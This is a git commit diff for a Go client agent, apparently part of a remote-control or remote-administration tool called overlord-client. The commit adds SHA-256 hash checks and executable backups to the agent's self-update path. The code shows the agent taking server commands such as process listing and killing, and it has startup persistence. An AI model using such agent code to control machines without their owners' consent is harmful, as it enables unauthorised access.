imrpove updating clients

This commit is contained in:
KingKDot
2026-03-13 12:51:48 -05:00
parent d5c0ab1523
commit 3beef903c9
6 changed files with 72 additions and 7 deletions
@@ -2,6 +2,8 @@ package handlers
import (
"context"
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"log"
@@ -15,7 +17,7 @@ import (
"overlord-client/cmd/agent/wire"
)
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error {
sourcePath = strings.TrimSpace(sourcePath)
if sourcePath == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
@@ -29,6 +31,10 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
if err := verifyFileHash(sourceAbs, expectedHash); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("integrity check failed: %v", err)})
}
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}); err != nil {
return err
}
@@ -139,3 +145,46 @@ func samePath(left string, right string) bool {
}
return samePathByOS(left, right)
}
func verifyFileHash(filePath string, expectedHash string) error {
if expectedHash == "" {
return nil
}
f, err := os.Open(filePath)
if err != nil {
return fmt.Errorf("failed to open file for hash verification: %w", err)
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return fmt.Errorf("failed to compute file hash: %w", err)
}
actualHash := hex.EncodeToString(h.Sum(nil))
if actualHash != expectedHash {
return fmt.Errorf("hash mismatch: expected %s, got %s", expectedHash, actualHash)
}
return nil
}
func backupExecutable(targetPath string) error {
info, err := os.Stat(targetPath)
if err != nil || !info.Mode().IsRegular() {
return nil
}
backupPath := targetPath + ".bak"
src, err := os.Open(targetPath)
if err != nil {
return fmt.Errorf("failed to open executable for backup: %w", err)
}
defer src.Close()
dst, err := os.OpenFile(backupPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, info.Mode().Perm())
if err != nil {
return fmt.Errorf("failed to create backup file: %w", err)
}
defer dst.Close()
if _, err := io.Copy(dst, src); err != nil {
return fmt.Errorf("failed to write backup: %w", err)
}
log.Printf("agent_update: backed up %q to %q", targetPath, backupPath)
return nil
}
@@ -5,6 +5,7 @@ package handlers
import (
"fmt"
"log"
"os"
"path/filepath"
@@ -43,9 +44,14 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
}
}
if currentErr == nil && !samePath(currentExe, restartPath) {
if err := copyExecutableAtomic(sourcePath, currentExe); err != nil {
return err
if currentErr == nil {
if !(startupEnabled && samePath(currentExe, startupPath)) {
if err := backupExecutable(currentExe); err != nil {
log.Printf("agent_update: backup warning: %v", err)
}
if err := copyExecutableAtomic(sourcePath, currentExe); err != nil {
return err
}
}
}
_ = os.Remove(sourcePath)
@@ -46,6 +46,9 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
if startupEnabled {
// Keep startup binary in sync when persistence/startup is enabled.
if !samePath(startupPath, currentExe) {
if err := backupExecutable(startupPath); err != nil {
log.Printf("agent_update[win]: backup warning for startup path: %v", err)
}
if err := copyExecutableAtomic(sourcePath, startupPath); err != nil {
return err
}
@@ -73,6 +76,9 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
return launchDeferredUpdateScript(sourcePath, restartPath)
}
if err := backupExecutable(restartPath); err != nil {
log.Printf("agent_update[win]: backup warning for restart path: %v", err)
}
if err := copyExecutableAtomic(sourcePath, restartPath); err != nil {
return err
}
@@ -1630,7 +1630,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
case "agent_update":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
return HandleAgentUpdate(ctx, env, cmdID, path)
hash, _ := payload["hash"].(string)
return HandleAgentUpdate(ctx, env, cmdID, path, hash)
case "process_list":
return HandleProcessList(ctx, env, cmdID)
case "process_kill":